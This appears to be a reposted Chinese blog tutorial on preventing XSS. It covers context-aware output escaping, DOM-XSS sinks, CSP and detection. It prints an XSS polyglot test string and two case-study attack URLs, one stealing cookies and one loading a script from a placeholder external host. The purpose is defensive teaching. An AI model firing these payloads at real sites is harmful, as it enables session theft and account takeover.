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前端安全系列：如何防止XSS攻击？【下】

时间:2020-05-24 作者:李阳 浏览:276

话接上篇

XSS 攻击的预防

通过前面的介绍可以得知，XSS 攻击有两大要素：

攻击者提交恶意代码。

浏览器执行恶意代码。




针对第一个要素：我们是否能够在用户输入的过程，过滤掉用户输入的恶意代码呢？




输入过滤

在用户提交时，由前端过滤输入，然后提交到后端。这样做是否可行呢？

答案是不可行。一旦攻击者绕过前端过滤，直接构造请求，就可以提交恶意代码了。

那么，换一个过滤时机：后端在写入数据库前，对输入进行过滤，然后把“安全的”内容，返回给前端。这样是否可行呢？

我们举一个例子，一个正常的用户输入了 5 < 7 这个内容，在写入数据库前，被转义，变成了 5 &lt; 7。

问题是：在提交阶段，我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义：

用户的输入内容可能同时提供给前端和客户端，而一旦经过了 escapeHTML()，客户端显示的内容就变成了乱码( 5 &lt; 7 )。

在前端中，不同的位置所需的编码也不同。

<div title="comment">5 &lt; 7</div>


当 5 &lt; 7 通过 Ajax 返回，然后赋值给 JavaScript 的变量时，前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示，也不能直接用于内容长度计算。不能用于标题、alert 等。

当 5 &lt; 7 作为 HTML 拼接页面时，可以正常显示：

所以，输入侧过滤能够在某些情况下解决特定的 XSS 问题，但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

当然，对于明确的输入类型，例如数字、URL、电话号码、邮件地址等等内容，进行输入过滤还是必要的。

既然输入过滤并非完全可靠，我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类：

防止 HTML 中出现注入。

防止 JavaScript 执行时，执行恶意代码。




预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后，插入到响应 HTML 里的，攻击者刻意编写的“数据”被内嵌到“代码”中，被浏览器所执行。

预防这两种漏洞，有两种常见做法：

改成纯前端渲染，把代码和数据分隔开。

对 HTML 做充分转义。




纯前端渲染

纯前端渲染的过程：

浏览器先加载一个静态 HTML，此 HTML 中不包含任何跟业务相关的数据。

然后浏览器执行 HTML 中的 JavaScript。

JavaScript 通过 Ajax 加载业务数据，调用 DOM API 更新到页面上。

在纯前端渲染中，我们会明确的告诉浏览器：下面要设置的内容是文本（.innerText），还是属性（.setAttribute），还是样式（.style）等等。浏览器不会被轻易的被欺骗，执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞（例如 onload 事件和 href 中的 javascript:xxx 等，请参考下文”预防 DOM 型 XSS 攻击“部分）。

在很多内部、管理系统中，采用纯前端渲染是非常合适的。但对于性能要求高，或有 SEO 需求的页面，我们仍然要面对拼接 HTML 的问题。




转义 HTML

如果拼接 HTML 是必要的，就需要采用合适的转义库，对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎，如 doT.js、ejs、FreeMarker 等，对于 HTML 转义通常只有一个规则，就是把 & < > " ' / 这几个字符转义掉，确实能起到一定的 XSS 防护作用，但并不完善：

|XSS 安全漏洞|简单转义是否有防护作用| |-|-| |HTML 标签文字内容|有| |HTML 属性值|有| |CSS 内联样式|无| |内联 JavaScript|无| |内联 JSON|无| |跳转链接|无|

所以要完善 XSS 防护措施，我们要使用更完善更细致的转义策略。

例如 Java 工程里，常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明。

<!-- HTML 标签内文字内容 --><div><%= Encode.forHtml(UNTRUSTED) %></div><!-- HTML 标签属性值 --><input value="<%= Encode.forHtml(UNTRUSTED) %>" /><!-- CSS 属性值 --><div style="width:<= Encode.forCssString(UNTRUSTED) %>"><!-- CSS URL --><div style="background:<= Encode.forCssUrl(UNTRUSTED) %>"><!-- JavaScript 内联代码块 --><script>
 var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
 alert(msg);</script><!-- JavaScript 内联代码块内嵌 JSON --><script>var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');</script><!-- HTML 标签内联监听器 --><button
 onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
 click me</button><!-- URL 参数 --><a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top"><!-- URL 路径 --><a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>"><!--
 URL.
 注意：要根据项目情况进行过滤，禁止掉 "javascript:" 链接、非法 scheme 等
--><a href='<%=
 urlValidator.isValid(UNTRUSTED) ?
   Encode.forHtml(UNTRUSTED) :
   "/404"
%>'>
 link</a>


可见，HTML 的编码是十分复杂的，在不同的上下文里要使用相应的转义规则。




预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击，实际上就是网站前端 JavaScript 代码本身不够严谨，把不可信的数据当作代码执行了。

在使用 .innerHTML、.outerHTML、document.write() 时要特别小心，不要把不可信的数据作为 HTML 插到页面上，而应尽量使用 .textContent、.setAttribute() 等。

如果用 Vue/React 技术栈，并且不使用 v-html/dangerouslySetInnerHTML 功能，就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。

DOM 中的内联事件监听器，如 location、onclick、onerror、onload、onmouseover 等，<a> 标签的 href 属性，JavaScript 的 eval()、setTimeout()、setInterval() 等，都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API，很容易产生安全隐患，请务必避免。

<!-- 内联事件监听器中包含恶意代码 --><!-- 链接内包含恶意代码 --><a href="UNTRUSTED">1</a><script>// setTimeout()/setInterval() 中调用恶意代码setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")// location 调用恶意代码location.href = 'UNTRUSTED'// eval() 中调用恶意代码eval("UNTRUSTED")</script>


如果项目中有用到这些的话，一定要避免在字符串中拼接不可信数据。




其他 XSS 防范措施

虽然在渲染页面和执行 JavaScript 时，通过谨慎的转义可以防止 XSS 的发生，但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案，可以降低 XSS 带来的风险和后果。




Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用：

禁止加载外域代码，防止复杂的攻击逻辑。

禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。

禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。

禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。

合理使用上报可以及时发现 XSS，利于尽快修复问题。

关于 CSP 的详情，请关注前端安全系列后续的文章。




输入内容长度控制

对于不受信任的输入，都应该限定一个合理的长度。虽然无法完全防止 XSS 发生，但可以增加 XSS 攻击的难度。




其他安全措施

HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。

验证码：防止脚本冒充用户提交危险操作。

XSS 的检测

上述经历让小明收获颇丰，他也学会了如何去预防和修复 XSS 漏洞，在日常开发中也具备了相关的安全意识。但对于已经上线的代码，如何去检测其中有没有 XSS 漏洞呢？

经过一番搜索，小明找到了两个方法：

使用通用 XSS 攻击字符串手动检测 XSS 漏洞。

使用扫描工具自动检测 XSS 漏洞。

在Unleashing an Ultimate XSS Polyglot一文中，小明发现了这么一个字符串：

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e


它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞，也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞，并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串，或者把它拼接到 URL 参数上，就可以进行检测了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E


除了手动检测之外，还可以使用自动扫描工具寻找 XSS 漏洞，例如 Arachni、Mozilla HTTP Observatory、w3af 等。




XSS 攻击的总结

我们回到最开始提出的问题，相信同学们已经有了答案：

XSS 防范是后端 RD 的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。

不正确。因为： * 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端，是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。 * 转义应该在输出 HTML 时进行，而不是在提交用户输入时。

所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。

不正确。 不同的上下文，如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等，所需要的转义规则不一致。 业务 RD 需要选取合适的转义库，并针对不同的上下文调用不同的转义规则。

整体的 XSS 防范是非常复杂和繁琐的，我们不仅需要在全部需要转义的位置，对数据进行对应的转义。而且要防止多余和错误的转义，避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS，但我们可以总结以下原则减少漏洞的产生：

利用模板引擎 开启模板引擎自带的 HTML 转义功能。例如： 在 ejs 中，尽量使用 <%= data %> 而不是 <%- data %>； 在 doT.js 中，尽量使用 {{! data } 而不是 {{= data }； 在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 freemarker.core.OutputFormat。

避免内联事件 尽量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。

避免拼接 HTML 前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。

时刻保持警惕 在插入位置为 DOM 属性、链接等位置时，要打起精神，严加防范。

增加攻击难度，降低攻击后果 通过 CSP、输入长度配置、接口安全措施等方法，增加攻击的难度，降低攻击的后果。

主动检测和发现 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。




XSS 攻击案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。

于是攻击者构建出一个 URL，并引导用户去点击： http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时，服务端取出 URL 参数，拼接到 HTML 响应中：

<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...


浏览器接收到响应后就会执行 alert(document.cookie)，攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ，进而危害数据安全。




新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是攻击者构建出一个 URL，然后诱导用户去点击：

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时，服务端取出请求 URL，拼接到 HTML 响应中：

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>


浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js，在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作，发出的微博和私信可再带上攻击 URL，诱导更多人点击，不断放大攻击范围。这种窃用受害者身份发布恶意内容，层层放大攻击范围的方式，被称为“XSS 蠕虫”。




扩展阅读：Automatic Context-Aware Escaping

上文我们说到：

合适的 HTML 转义可以有效避免 XSS 漏洞。

完善的转义库需要针对上下文制定多种规则，例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。

业务 RD 需要根据每个插入点所处的上下文，选取不同的转义规则。

通常，转义库是不能判断插入点上下文的（Not Context-Aware），实施转义规则的责任就落到了业务 RD 身上，需要每个业务 RD 都充分理解 XSS 的各种情况，并且需要保证每一个插入点使用了正确的转义规则。

这种机制工作量大，全靠人工保证，很容易造成 XSS 漏洞，安全人员也很难发现隐患。

2009年，Google 提出了一个概念叫做：Automatic Context-Aware Escaping。

所谓 Context-Aware，就是说模板引擎在解析模板字符串的时候，就解析模板语法，分析出每个插入点所处的上下文，据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担，也减少了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里，业务 RD 可以这样定义模板，而无需手动实施转义规则：

<html>
 <head>
   <meta charset="UTF-8">
   <title>{{.title}}</title>
 </head>
 <body>
   <a href="{{.url}}">{{.content}}</a>
 </body></html>


模板引擎经过解析后，得知三个插入点所处的上下文，自动选用相应的转义规则：

<html>
 <head>
   <meta charset="UTF-8">
   <title>{{.title | htmlescaper}}</title>
 </head>
 <body>
   <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
 </body></html>


目前已经支持 Automatic Context-Aware Escaping 的模板引擎有：

go html/template

Google Closure Templates




原文地址：https://tech.meituan.com/2018/09/27/fe-security.html